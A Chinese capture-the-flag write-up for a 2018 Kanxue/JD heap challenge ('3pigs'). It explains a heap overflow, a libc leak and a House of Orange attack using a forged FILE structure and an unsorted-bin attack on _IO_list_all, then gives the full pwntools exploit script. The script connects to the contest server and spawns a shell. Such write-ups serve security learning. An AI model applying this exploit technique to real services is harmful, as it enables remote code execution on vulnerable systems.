-
-
[原创]看雪.京东 2018CTF 第十一题 PWN-3pigs
-
2018-7-7 18:59 2441
-
拿到题目,看名字就觉得似曾相识,一看程序发现果然是HITB原题……有点失望,都不太想写writeup,不过既然写了就多啰嗦一下吧。
当然仔细一看不是原题,简化了原来的一些操作,并限制了泄漏次数。
保护全开的堆考题,有三个0xd0大小的chunk可以分配和释放。在分配逻辑处存在明显的溢出,可以多写16个字节。
这样可以随意修改top的大小。readn本身的off by one都显得多余了。
另外还有一个秘密chunk,大小为0x80,输入对应密文即可分配。
注意编辑这个秘密chunk的逻辑,可以直接修改下一个chunk的fd和bk。
回头再看添加chunk逻辑,发现有个strncpy长度为8的字符串,这样就可以不用被NULL截断了,走这个chunk即可泄漏libc。原题还可以泄漏堆,这里被次数限制了,如下图,当然其实不用泄漏堆。
那么思路就很明确了,先走正常chunk的溢出修改top的大小,触发sysmalloc中的_int_free从而搞出0x60的fastbin,用consolidae把他送入unsorted bin,然后随便分配就可以送它上smallbin。
在这个smallbin上事先伪造好file结构体。然后通过秘密chunk攻击unsorted bin,拿到shell。
总体来说是非常简单明了的House of Orange考题……不过出简化的原题实在是没有诚意啊。
完整利用如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from FILE import * code = ELF('./3pigs') context.arch = code.arch libc = code.libc def add(idx, data): r.sendlineafter('ope:\n', '1') r.sendlineafter('num:\n', str(idx)) r.sendafter('data:\n', flat(data)) def fre(idx): r.sendlineafter('ope:\n', '2') r.sendlineafter('num:\n', str(idx)) def show(): r.sendlineafter('ope:\n', '3') def addfly(): r.sendlineafter('ope:\n', '4') r.sendlineafter('secret:\n', 'UOTp%I<S') def editfly(data): r.sendlineafter('ope:\n', '5') r.sendafter('data:\n', flat(data)) def exploit(r): add(2, 'AAAA') add(0, 'AAAA') fre(2) add(2, 'AAAA') show() r.recvuntil('Small Li') tmp = r.recv(6) + '\x00\x00' libc.address = u64(tmp) - libc.sym['__malloc_hook'] - 0x68 info('%016x libc.address', libc.address) fre(0) fre(2) add(0,"0"*0xb8) fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base = libc.sym['_IO_list_all']-0x10 fake_file._IO_buf_base = next(libc.search('/bin/sh')) fake_file._mode = 0 fake_file._IO_write_base = 0 fake_file._IO_write_ptr = 1 fake_file.vtable = libc.sym['_IO_file_jumps']+0xc0-8 # _IO_str_jumps fake_file = flat(str(fake_file).ljust(0xe8, '\x00'), libc.sym['system']) add(1, ('\x00'*0x60 + fake_file)[:0xb8]) add(2, fake_file[0xb8-0x60+0x18:]) fre(1) fre(2) fre(0) addfly() add(0, ['A'*176, 0, 0x81]) add(1, 'A') fre(1) addfly() add(1, 'A') add(2, 'A') fre(1) editfly([0, libc.sym['_IO_list_all']-0x10]) addfly() r.interactive() r = remote('139.199.99.130', 8989) exploit(r)
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2018-7-7 19:00
被diycode编辑
,原因:
赞赏
他的文章
看原图